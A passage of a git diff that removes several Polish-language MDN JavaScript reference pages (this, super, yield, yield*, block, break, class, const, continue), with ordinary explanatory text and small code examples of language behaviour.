-  foo() {}
-}
-class Derived extends Base {
-  constructor() {}
-  delete() {
-    delete super.foo; // to jest niepoprawnie
-  }
-}
-
-new Derived().delete(); // ReferenceError: invalid delete involving 'super'. 
- -

super.prop nie może nadpisać właściwości typu non-writable 

- -

Definiując właściwości non-writable (niezapisywalne) np. {{jsxref("Object.defineProperty")}}, pamiętaj, że super nie może nadpisać takiej wartości.

- -
class X {
-  constructor() {
-    Object.defineProperty(this, 'prop', {
-      configurable: true,
-      writable: false,
-      value: 1
-    });
-  }
-}
-
-class Y extends X {
-  constructor() {
-    super();
-  }
-  foo() {
-    super.prop = 2;   // Nie można nadpisać wartości
-  }
-}
-
-var y = new Y();
-y.foo(); // TypeError: "prop" is read-only
-console.log(y.prop); // 1
-
- -

Używanie super.prop w literałach obiektowych

- -

super może być także wykorzystane inicjalizatorze / literale obiektu.

- -

W tym przykładzie dwa obiekty definiują swoją metodę. W drugim obiekcie, super wywołuje metodę obiektu pierwszego. To działa dzięki {{jsxref("Object.setPrototypeOf()")}} z czym jesteśmy w stanie ustawić prototyp obiektu obj2 na obj1, tak aby super było w stanie znaleźć metodę method1 w obiekcie obj1.

- -
var obj1 = {
-  method1() {
-    console.log('method 1');
-  }
-}
-
-var obj2 = {
-  method2() {
-    super.method1();
-  }
-}
-
-Object.setPrototypeOf(obj2, obj1);
-obj2.method2(); // wypisze "method 1"
-
- -

Specyfikacje

- - - - - - - - - - - - -
Specyfikacja
{{SpecName('ESDraft', '#sec-super-keyword', 'super')}}
- -

Kompatybilność

- - - -

{{Compat("javascript.operators.super")}}

- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/operatory/this/index.html b/files/pl/web/javascript/referencje/operatory/this/index.html deleted file mode 100644 index 523e210cb6..0000000000 --- a/files/pl/web/javascript/referencje/operatory/this/index.html +++ /dev/null @@ -1,346 +0,0 @@ ---- -title: this -slug: Web/JavaScript/Referencje/Operatory/this -translation_of: Web/JavaScript/Reference/Operators/this ---- -
-
{{jsSidebar("Operators")}}
-
- -

Summary

- -

W JavaScript słówko kluczowe this zachowuje się nieco inaczej w porównaniu do innych języków programowania. Istnieje również kilka różnic między trybem strict mode oraz non-strict mode.

- -

W większości przypadków wartość this jest ustalana na podstawie tego, jak wywołana została dana funkcja. Wartość ta nie może być przypisana podczas wykonywania się funkcji i może być inna za każdym wywołaniem. ES5 wprowadziło metodę bind dzięki której możemy przypisać wartość this w funkcji, niezależnie od tego jak została ona wywołana.

- -

Syntax

- -
this
- -

Global context

- -

In the global execution context (outside of any function), this refers to the global object, whether in strict mode or not.

- -
console.log(this.document === document); // true
-
-// In web browsers, the window object is also the global object:
-console.log(this === window); // true
-
-this.a = 37;
-console.log(window.a); // 37
-
- -

Function context

- -

Inside a function, the value of this depends on how the function is called.

- -

Simple call

- -
function f1(){
-  return this;
-}
-
-f1() === window; // global object
-
- -

In this case, the value of this is not set by the call. Since the code is not in strict mode, the value of this must always be an object so it defaults to the global object.

- -
function f2(){
-  "use strict"; // see strict mode
-  return this;
-}
-
-f2() === undefined;
-
- -

In strict mode, the value of this remains at whatever it's set to when entering the execution context. If it's not defined, it remains undefined. It can also be set to any value, such as null or 42 or "I am not this".

- -
Note: In the second example, this should be undefined, because f2 was called without providing any base (e.g. window.f2()). This feature wasn't implemented in some browsers when they first started to support strict mode. As a result, they incorrectly returned the window object.
- -

As an object method

- -

When a function is called as a method of an object, its this is set to the object the method is called on.

- -

In the following example, when o.f() is invoked, inside the function this is bound to the o object.

- -
var o = {
-  prop: 37,
-  f: function() {
-    return this.prop;
-  }
-};
-
-console.log(o.f()); // logs 37
-
- -

Note that this behavior is not at all affected by how or where the function was defined. In the previous example, we defined the function inline as the f member during the definition of o. However, we could have just as easily defined the function first and later attached it to o.f. Doing so results in the same behavior:

- -
var o = {prop: 37};
-
-function independent() {
-  return this.prop;
-}
-
-o.f = independent;
-
-console.log(o.f()); // logs 37
-
- -

This demonstrates that it matters only that the function was invoked from the f member of o.

- -

Similarly, the this binding is only affected by the most immediate member reference. In the following example, when we invoke the function, we call it as a method g of the object o.b. This time during execution, this inside the function will refer to o.b. The fact that the object is itself a member of o has no consequence; the most immediate reference is all that matters.

- -
o.b = {g: independent, prop: 42};
-console.log(o.b.g()); // logs 42
-
- -

this on the object's prototype chain

- -

The same notion holds true for methods defined somewhere on the object's prototype chain. If the method is on an object's prototype chain, this refers to the object the method was called on, as if the method was on the object.

- -
var o = {f:function(){ return this.a + this.b; }};
-var p = Object.create(o);
-p.a = 1;
-p.b = 4;
-
-console.log(p.f()); // 5
-
- -

In this example, the object assigned to the variable p doesn't have its own f property, it inherits it from its prototype. But it doesn't matter that the lookup for f eventually finds a member with that name on o; the lookup began as a reference to p.f, so this inside the function takes the value of the object referred to as p. That is, since f is called as a method of p, its this refers to p. This is an interesting feature of JavaScript's prototype inheritance.

- -

this with a getter or setter

- -

Again, the same notion holds true when a function is invoked from a getter or a setter. A function used as getter or setter has its this bound to the object from which the property is being set or gotten.

- -
function modulus(){
-  return Math.sqrt(this.re * this.re + this.im * this.im);
-}
-
-var o = {
-  re: 1,
-  im: -1,
-  get phase(){
-    return Math.atan2(this.im, this.re);
-  }
-};
-
-Object.defineProperty(o, 'modulus', {
-    get: modulus, enumerable:true, configurable:true});
-
-console.log(o.phase, o.modulus); // logs -0.78 1.4142
-
- -

As a constructor

- -

When a function is used as a constructor (with the new keyword), its this is bound to new object being constructed.

- -

Note: while the default for a constructor is to return the object referenced by this, it can instead return some other object (if the return value isn't an object, then the this object is returned).

- -
/*
- * Constructors work like this:
- *
- * function MyConstructor(){
- *   // Actual function body code goes here.
- *   // Create properties on |this| as
- *   // desired by assigning to them.  E.g.,
- *   this.fum = "nom";
- *   // et cetera...
- *
- *   // If the function has a return statement that
- *   // returns an object, that object will be the
- *   // result of the |new| expression.  Otherwise,
- *   // the result of the expression is the object
- *   // currently bound to |this|
- *   // (i.e., the common case most usually seen).
- * }
- */
-
-function C(){
-  this.a = 37;
-}
-
-var o = new C();
-console.log(o.a); // logs 37
-
-
-function C2(){
-  this.a = 37;
-  return {a:38};
-}
-
-o = new C2();
-console.log(o.a); // logs 38
-
- -

In the last example (C2), because an object was returned during construction, the new object that this was bound to simply gets discarded. (This essentially makes the statement "this.a = 37;" dead code. It's not exactly dead, because it gets executed, but it can be eliminated with no outside effects.)

- -

call and apply

- -

Where a function uses the this keyword in its body, its value can be bound to a particular object in the call using the call or apply methods that all functions inherit from Function.prototype.

- -
function add(c, d){
-  return this.a + this.b + c + d;
-}
-
-var o = {a:1, b:3};
-
-// The first parameter is the object to use as
-// 'this', subsequent parameters are passed as
-// arguments in the function call
-add.call(o, 5, 7); // 1 + 3 + 5 + 7 = 16
-
-// The first parameter is the object to use as
-// 'this', the second is an array whose
-// members are used as the arguments in the function call
-add.apply(o, [10, 20]); // 1 + 3 + 10 + 20 = 34
-
- -

Note that with call and apply, if the value passed as this is not an object, an attempt will be made to convert it to an object using the internal ToObject operation. So if the value passed is a primitive like 7 or 'foo', it will be converted to an Object using the related constructor, so the primitive number 7 is converted to an object as if by new Number(7) and the string 'foo' to an object as if by new String('foo'), e.g.

- -
function bar() {
-  console.log(Object.prototype.toString.call(this));
-}
-
-bar.call(7); // [object Number]
-
- -

The bind method

- -

ECMAScript 5 introduced Function.prototype.bind. Calling f.bind(someObject) creates a new function with the same body and scope as f, but where this occurs in the original function, in the new function it is permanently bound to the first argument of bind, regardless of how the function is being used.

- -
function f(){
-  return this.a;
-}
-
-var g = f.bind({a:"azerty"});
-console.log(g()); // azerty
-
-var o = {a:37, f:f, g:g};
-console.log(o.f(), o.g()); // 37, azerty
-
- -

As a DOM event handler

- -

When a function is used as an event handler, its this is set to the element the event fired from (some browsers do not follow this convention for listeners added dynamically with methods other than addEventListener).

- -
// When called as a listener, turns the related element blue
-function bluify(e){
-  // Always true
-  console.log(this === e.currentTarget);
-  // true when currentTarget and target are the same object
-  console.log(this === e.target);
-  this.style.backgroundColor = '#A5D9F3';
-}
-
-// Get a list of every element in the document
-var elements = document.getElementsByTagName('*');
-
-// Add bluify as a click listener so when the
-// element is clicked on, it turns blue
-for(var i=0 ; i<elements.length ; i++){
-  elements[i].addEventListener('click', bluify, false);
-}
- -

In an in–line event handler

- -

When code is called from an in–line handler, its this is set to the DOM element on which the listener is placed:

- -
<button onclick="alert(this.tagName.toLowerCase());">
-  Show this
-</button>
-
- -

The above alert shows button. Note however that only the outer code has its this set this way:

- -
<button onclick="alert((function(){return this}()));">
-  Show inner this
-</button>
-
- -

In this case, the inner function's this isn't set so it returns the global/window object (i.e. the default object in non–strict mode where this isn't set by the call).

- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
ECMAScript 1st Edition.StandardInitial definition. Implemented in JavaScript 1.0
{{SpecName('ES5.1', '#sec-11.1.1', 'The this keyword')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-this-keyword', 'The this keyword')}}{{Spec2('ES6')}}
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
- -

See also

- - diff --git a/files/pl/web/javascript/referencje/operatory/yield/index.html b/files/pl/web/javascript/referencje/operatory/yield/index.html deleted file mode 100644 index 8d814a5aa8..0000000000 --- a/files/pl/web/javascript/referencje/operatory/yield/index.html +++ /dev/null @@ -1,168 +0,0 @@ ---- -title: yield -slug: Web/JavaScript/Referencje/Operatory/yield -translation_of: Web/JavaScript/Reference/Operators/yield ---- -
{{jsSidebar("Operators")}}
- -

Słowo kluczowe yield jest używane do zatrzymania i powrotu funkcji generatora ({{jsxref("Statements/function*", "function*")}} lub legacy generator function).

- -

Syntax

- -
[rv] = yield [expression];
- -
-
expression
-
Definiuje wartość która ma być zwrócona przez funkcję generatora przez the iterator protocol, jeżeli pominięte, zostanie zwrócone undefined.
-
rv
-
-

Zwraca opcjonalną wartość przekazaną do metody next() generatora, do powrotu do jej wykonania.

-
-
- -

Description

- -

The yield keyword causes generator function execution to pause and the value of the expression following the yield keyword is returned to the generator's caller. It can be thought of as a generator-based version of the return keyword.

- -

The yield keyword actually returns an IteratorResult object with two properties, value and done. The value property is the result of evaluating the yield expression, and done is false, indicating that the generator function has not fully completed.

- -

Once paused on a yield expression, the generator's code execution remains paused until the generator's next() method is called. Each time the generator's next() method is called, the generator resumes execution and runs until it reaches one of the following:

- - - -

If an optional value is passed to the generator's next() method, that value becomes the value returned by the generator's current yield operation.

- -

Between the generator's code path, its yield operators, and the ability to specify a new starting value by passing it to {{jsxref("Generator.prototype.next()")}}, generators offer enormous power and control.

- -

Examples

- -

The following code is the declaration of an example generator function.

- -
function* foo() {
-  var index = 0;
-  while (index <= 2)
-    yield index++;
-}
- -

Once a generator function is defined, it can be used by constructing an iterator as shown.

- -
var iterator = foo();
-console.log(iterator.next()); // { value: 0, done: false }
-console.log(iterator.next()); // { value: 1, done: false }
-console.log(iterator.next()); // { value: 2, done: false }
-console.log(iterator.next()); // { value: undefined, done: true }
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#', 'Yield')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#', 'Yield')}}{{Spec2('ESDraft')}} 
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support39{{CompatGeckoDesktop("26.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatSafari("10")}}
IteratorResult object instead of throwing{{CompatUnknown}}{{CompatGeckoDesktop("29.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatSafari("10")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("26.0")}}{{CompatUnknown}}{{ CompatUnknown}}{{CompatSafari("10")}}
IteratorResult object instead of throwing{{CompatUnknown}}{{CompatGeckoMobile("29.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatSafari("10")}}
-
- -

Firefox-specific notes

- - - -

See also

- - diff --git a/files/pl/web/javascript/referencje/operatory/yield_star_/index.html b/files/pl/web/javascript/referencje/operatory/yield_star_/index.html deleted file mode 100644 index ddef530622..0000000000 --- a/files/pl/web/javascript/referencje/operatory/yield_star_/index.html +++ /dev/null @@ -1,200 +0,0 @@ ---- -title: yield* -slug: Web/JavaScript/Referencje/Operatory/yield* -translation_of: Web/JavaScript/Reference/Operators/yield* ---- -
{{jsSidebar("Operators")}}
- -

Wyrażenie yield*  służy do wydelegowania działania generatora do innego {{jsxref("Statements/function*", "generatora")}} lub obiektu iterowalnego.

- -
{{EmbedInteractiveExample("pages/js/expressions-yieldasterisk.html")}}
- - - -

Składnia

- -
 yield* [[expression]];
- -
-
expression
-
Wyrażenie, które zwraca iterowalny obiekt lub generator.
-
- -

Opis

- -

yield* iteruje po iterowalnym obiekcie i wywołuje yield z każdą kolejną zwracaną przez niego wartością.

- -

Wartość samego yield* jest wartością zwróconą przez iterator w momencie jego zakończenia (tzn. kiedy done ma wartość true).

- -

Przykłady

- -

Delegowanie logiki do osobnego generatora

- -

W poniższym kodzie wartości yeld dla  g1() zwracane są przy wywołaniu next() dokładnie tak samo jak te, które zwraca yeld generatora g2().

- -
function* g1() {
-  yield 2;
-  yield 3;
-  yield 4;
-}
-
-function* g2() {
-  yield 1;
-  yield* g1();
-  yield 5;
-}
-
-var iterator = g2();
-
-console.log(iterator.next()); // {value: 1, done: false}
-console.log(iterator.next()); // {value: 2, done: false}
-console.log(iterator.next()); // {value: 3, done: false}
-console.log(iterator.next()); // {value: 4, done: false}
-console.log(iterator.next()); // {value: 5, done: false}
-console.log(iterator.next()); // {value: undefined, done: true}
-
- -

Inne obiekty iterowalne

- -

yield* może wywoływać yield z wartościami dostarczanymi przez inne rodzje obiektów iterowalnych , np. tablice, stringi lub obiekt arguments.

- -
function* g3() {
-  yield* [1, 2];
-  yield* '34';
-  yield* Array.from(arguments);
-}
-
-var iterator = g3(5, 6);
-
-console.log(iterator.next()); // {value: 1, done: false}
-console.log(iterator.next()); // {value: 2, done: false}
-console.log(iterator.next()); // {value: "3", done: false}
-console.log(iterator.next()); // {value: "4", done: false}
-console.log(iterator.next()); // {value: 5, done: false}
-console.log(iterator.next()); // {value: 6, done: false}
-console.log(iterator.next()); // {value: undefined, done: true}
-
- -

Wartość samego wyrażenia yield*

- -

yield* jest wyrażeniem (expression) a nie statement, więc rozwiązuje się do konkretnej wartości.

- -
function* g4() {
-  yield* [1, 2, 3];
-  return 'foo';
-}
-
-var result;
-
-function* g5() {
-  result = yield* g4();
-}
-
-var iterator = g5();
-
-console.log(iterator.next()); // {value: 1, done: false}
-console.log(iterator.next()); // {value: 2, done: false}
-console.log(iterator.next()); // {value: 3, done: false}
-console.log(iterator.next()); // {value: undefined, done: true},
-                              // g4() zwrócił w tym momencie {value: 'foo', done: true}
-
-console.log(result);          // "foo"
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#', 'Yield')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#', 'Yield')}}{{Spec2('ESDraft')}} 
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("27.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatSafari("10")}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("27.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatSafari("10")}}
-
- -

Firefox-specific notes

- - - -

See also

- - diff --git a/files/pl/web/javascript/referencje/polecenia/block/index.html b/files/pl/web/javascript/referencje/polecenia/block/index.html deleted file mode 100644 index bbc5c7e4fb..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/block/index.html +++ /dev/null @@ -1,160 +0,0 @@ ---- -title: block -slug: Web/JavaScript/Referencje/Polecenia/block -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Statements/block ---- -

Blok instrukcji jest stosowany do zgrupowania zero lub więcej instrukcji. Blok jest ograniczony parą nawiasów klamrowych i opcjonalnie może posiadać etykietę.

- -

Składnia

- -

Blok

- -
{ ListaInstrukcji }
-
- -

Blok z etykietą

- -
EtykietaBloku: { ListaInstrukcji }
- -

Parametry

- -
-
ListaInstrukcji
-
Instrukcje zgrupowane w bloku.
-
EtykietaBloku
-
Opcjonalna etykieta dla wizualnej identyfikacji lub jako cel dla break.
-
- -

Opis

- -

Blok instrukcji nazywany jest również w innych językach instrukcjami złożonymi. Pozwala użyć wielu instrukcji tam, gdzie JavaScript pozwala użyć tylko jednej. Składanie instrukcji w bloki jest powszechną praktyką w JavaScript. Za pomocą bloku można uzyskać też efekt przeciwny - brak instrukcji tam, gdzie jest wymagana.

- -

Reguły zasięgu bloku

- -

Zasięg var

- -

Zmienne tworzone poprzez var nie mają zasięgu bloku. Zmienne zadeklarowane w bloku są ograniczone do funkcji lub skryptu zawierającego, a efektyoperacji na nich utrzymują się poza samym blokiem. Innymi słowy, instrukcje blokowe nie wprowadzają zakresu. Chociaż "samodzielne" bloki są poprawną składnią, nie chcesz używać niezależnych bloków w JavaScript, ponieważ nie robią tego, co myślisz, że robią, jeśli myślisz, że robią coś takiego jak w C lub Java. Na przykład:

- -
var x = 1;
-{
-  var x = 2;
-}
-console.log(x); // zwraca 2
-
- -

Otrzymujesz 2, ponieważ instrukcja var x = 2, która jest w bloku jest w tym samym zasięgu co instrukcja przed blokiem. W C lub Javie podobny kod zwróciłby 1.

- -

Zasięg let i const

- -

Dla odmiany identyfikatory stworzone z użyciem let i const posiadają zakres blokowy:

- -
let x = 1;
-{
-  let x = 2;
-}
-console.log(x); // zwraca 1
-
- -

Instrukcja x = 2 jest ograniczona w zakresie bloku, w którym została zdefiniowana.

- -

To samo odnosi się do const:

- -
const c = 1;
-{
-  const c = 2;
-}
-console.log(c); // zwraca 1 i nie rzuca wyjątkiem SyntaxError.
-
- -

Zauważ, że const c = 2 nie rzuca wyjątku SyntaxError: Identifier 'c' has already been declared, ponieważ może być zadeklarowane unikalnie w ramach bloku.

- -

Zasięg funkcji

- -

Funkcja zadeklarowana w bloku również widzialna jest w zakresie tego bloku:

- -
foo('outside');  // TypeError: foo is not a function
-{
-  function foo(location) {
-   console.log('foo is called ' + location);
-  }
-  foo('inside'); // wykonuje się poprawnie i zwraca 'foo is called inside'
-}
-
- -

Bardziej precyzyjnie mówiąc blok instrukcji zapobiega Hoistingowi deklaracji funkcji na początek zakresu. Funkcja zachowuje się tak, jakby była zdefiniowana jako wyrażenie funkcji i jako taka jest tylko deklaracją zmiennej, która zostaje podniesiona do góry, na początek zakresu:

- -
foo;  // zwraca undefined
-{
-  function foo(location) {
-   console.log('foo is called ' + location);
-  }
-  foo('inside'); // wykonuje się poprawnie i zwraca 'foo is called inside'
-}
- -

Konsekwentnie to znaczy, że gdy przeniesiemy wywołanie funkcji poniżej jej deklaracji - nie otrzymamy błędu:

- -
{
-  function foo(location) {
-   console.log('foo is called ' + location);
-  }
-  foo('inside'); // works correctly and logs 'foo is called inside'
-}
-foo('outside');  // works correctly and logs 'foo is called outside'
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-block', 'Block statement')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-block', 'Block statement')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-12.1', 'Block statement')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-12.1', 'Block statement')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-12.1', 'Block statement')}}{{Spec2('ES1')}}Initial definition. Implemented in JavaScript 1.0.
- -

Kompatybilność z przeglądarkami

- - - -

{{Compat("javascript.statements.block")}}

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/polecenia/break/index.html b/files/pl/web/javascript/referencje/polecenia/break/index.html deleted file mode 100644 index 661b130d71..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/break/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: break -slug: Web/JavaScript/Referencje/Polecenia/break -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Statements/break ---- -

-

-

Podsumowanie

-

Przerywa aktualnie wykonywaną pętlę, konstrukcję switch i przekazuje sterowanie programu do polecenia za pętlą lub za wskazaną etykietą. -

- - - - - - - - - - - - -
Polecenie
Zaimplementowane w:JavaScript 1.0, NES 2.0
Wersja ECMA:ECMA-262 (wersja bez etykiety) -

ECMA-262, Edycja 3 (wersja z etykietą) -

-
-

Składnia

-

-break {{ mediawiki.external('etykieta') }} - -

-

Parametry

-
etykieta 
Identyfikator przypisany etykiecie polecenia. -
-

Opis

-

Polecenie break może zawierać opcjonalną etykietę, która pozwala programowi na wyjście z bloku poleceń oznaczonego etykietą. Polecenia w bloku oznaczonym etykietą mogą być dowolnego rodzaju. -

-

Przykłady

-

Przykład: Zastosowanie break

-

Poniższa funkcja zawiera polecenie break, które przerywa pętlę -while, kiedy e jest równe 3, a następnie zwraca wartość 3 * x. -

-
function testBreak(x) {
-   var i = 0;
-   while (i < 6) {
-      if (i == 3)
-         break;
-      i++;
-   }
-   return i*x;
-}
-
-

Zobacz także

-

continue, -etykieta, -switch -


-


-

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/break", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/break", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/break", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/break" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/class/index.html b/files/pl/web/javascript/referencje/polecenia/class/index.html deleted file mode 100644 index 05cdb7b2d4..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/class/index.html +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: class -slug: Web/JavaScript/Referencje/Polecenia/class -translation_of: Web/JavaScript/Reference/Statements/class ---- -
{{jsSidebar("Statements")}}
- -
Deklaracja klasy tworzy nową klasę z daną nazwą, używając dziedziczenia opartego na prototypach.
- -
{{EmbedInteractiveExample("pages/js/statement-class.html")}}
- - - -
-

Możesz także zdefiniować klasę, używając {{jsxref("Operators/class", "wyrażenia class", "", 1)}}. W odróżnieniu jednak od wyrażenia class, deklaracja klasy nie pozwala na ponowne zadeklarowanie istniejącej klasy i w takim przypadku zwróci błąd.

-
- -

Składnia

- -
class nazwa [extends] {
-  // ciało klasy
-}
-
- -

Opis

- -

Ciało klasy w deklaracji klasy jest wykonywane w  trybie ścisłym. Konstruktor jest opcjonalny.

- -

Deklaracje klas nie są {{Glossary("Hoisting", "hoisted")}} (w odróżnieniu od deklaracji funkcji).

- -

Przykłady

- -

Prosta deklaracja klasy

- -

W poniższym przykładzie, najpierw definiujemy klasę o nazwie Polygon, a następnie rozszerzamy ją do klasy Square. Zwróć uwagę na to, że super(), użyte w konstruktorze, może byc użyte jedynie w konstruktorach i musi być wywołane przed użyciem słowa kluczowego this.

- -
class Polygon {
-  constructor(height, width) {
-    this.name = 'Polygon';
-    this.height = height;
-    this.width = width;
-  }
-}
-
-class Square extends Polygon {
-  constructor(length) {
-    super(length, length);
-    this.name = 'Square';
-  }
-}
- -
-

Próba podwójnej deklaracji klasy

- -

Próba ponownego zadeklarowania klasy, przy użyciu deklaracji klasy, spowoduje wystąpienie błędu.

- -
class Foo {};
-class Foo {}; // Uncaught SyntaxError: Identifier 'Foo' has already been declared
-
- -

Taki sam błąd jest zwracany, gdy klasa jest zdefiniowana przed użyciem wyrażenia klasy.

- -
var Foo = class {};
-class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared
-
-
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ES2015')}}Początkowa definicja.
{{SpecName('ES2016', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ES2016')}}
{{SpecName('ES2017', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ES2017')}}
{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ESDraft')}}
- -

Wsparcie przeglądarek

- - - -

{{Compat("javascript.statements.class")}}

- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/polecenia/const/index.html b/files/pl/web/javascript/referencje/polecenia/const/index.html deleted file mode 100644 index ead1ca32fb..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/const/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: const -slug: Web/JavaScript/Referencje/Polecenia/const -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Statements/const ---- -

-

-

Podsumowanie

-

Deklaruje nazwaną stałą tylko do odczytu. -

- - - - - - - - -
Wyrażenie
Zaimplementowane w:JavaScript 1.5, NES 6.0 (rozszerzenie Netscape, tylko w silniku C)
-

Składnia

-

-const nazwaStałej {{ mediawiki.external('= wartość') }} [..., nazwaStałej {{ mediawiki.external('= wartość') }} ] - -

-

Parametry

-
nazwaStałej 
Nazwa stałej. Może być dowolnym dozwolonym identyfikatorem. -
-
wartość 
Wartość stałej. Może być dowolną dozwoloną wartością lub wynikiem wyrażenia. -
-

Opis

-

Tworzy stałą, która może być globalna lub lokalna dla funkcji, która ją zadeklarowała. Zasady zasięgu dla stałych są takie same jak dla zmiennych. -

Wartość stałej nie może zostać zmieniona poprzez ponowne przypisanie; stała nie może także być ponownie zadeklarowana. -

Stała nie może mieć takiej samej nazwy jak funkcja lub zmienna o tym samym zasięgu. -

-

Przykłady

-

Przykład: Zastosowanie const

-

Poniższy skrypt wypisuje "a jest równe 7". -

-
const a = 7;
-document.writeln("a jest równe " + a);
-
-

Zobacz także

-

var -


-

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/const", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/const", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/const" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/continue/index.html b/files/pl/web/javascript/referencje/polecenia/continue/index.html deleted file mode 100644 index b6c2a05d94..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/continue/index.html +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: continue -slug: Web/JavaScript/Referencje/Polecenia/continue -tags: - - JavaScript - - instrukcja - - polecenie -translation_of: Web/JavaScript/Reference/Statements/continue ---- -
{{jsSidebar("Statements")}}
- -

Polecenie continue zatrzymuje wykonanie pętli w obecnej iteracji, w obecnej lub wskazanej pętli i kontynuuje wykonanie pętli w kolejnej jej iteracji.

- -
{{EmbedInteractiveExample("pages/js/statement-continue.html")}}
- - - -

Składnia

- -
continue [etykieta];
- -
-
etykieta
-
Identyfikator powiązany z etykietą instrukcji.
-
- -

Opis

- -

W przeciwieństwie do instrukcji {{jsxref("Statements/break", "break")}}, continue nie zatrzymuje całkowicie wykonania pętli, natomiast:

- - - - - -

Instrukcja continue może opcjonalnie zawierać etykietę, która pozwala programowi przejść do kolejnej iteracji pętli, której tę etykietę przypisano, zamiast kolejnej iteracji obecnej pętli. W tym przypadku, polecenie continue musi być zawarte wewnątrz instrukcji z etykietą.

- -

Przykłady

- -

Użycie continue z while

- -

Poniższy przykład pokazuje pętlę {{jsxref("Statements/while", "while")}}, zawierającą polecenie continue, które jest wykonywane, gdy wartość zmiennej i równa jest 3 – zatem n przyjmuje kolejno wartości 1, 3, 7 i 12.

- -
var i = 0;
-var n = 0;
-
-while (i < 5) {
-  i++;
-
-  if (i === 3) {
-    continue;
-  }
-
-  n += i;
-}
-
- -

Użycie continue z etykietą

- -

W poniższym przykładzie, instrukcja z etykietą checkiandj zawiera instrukcję z etykietą checkj. Jeśli zostanie napotkane polecenie continue, wykonanie programu jest kontynuowane od góry instukcji checkj. Za każdym razem, gdy napotkane jest continue, chekckj jest przeiterowywane dopóki jego warunek nie zwróci wartości false. Kiedy zwracane jest false, wykonywana jest pozostała część checkiandj.

- -

Gdyby continue miało etykietę checkiandj, wówczas program powinien przejść na początek instrukcji checkiandj.

- -

Zobacz też {{jsxref("Statements/label", "label")}}.

- -
var i = 0;
-var j = 8;
-
-checkiandj: while (i < 4) {
-  console.log('i: ' + i);
-  i += 1;
-
-  checkj: while (j > 4) {
-    console.log('j: ' + j);
-    j -= 1;
-
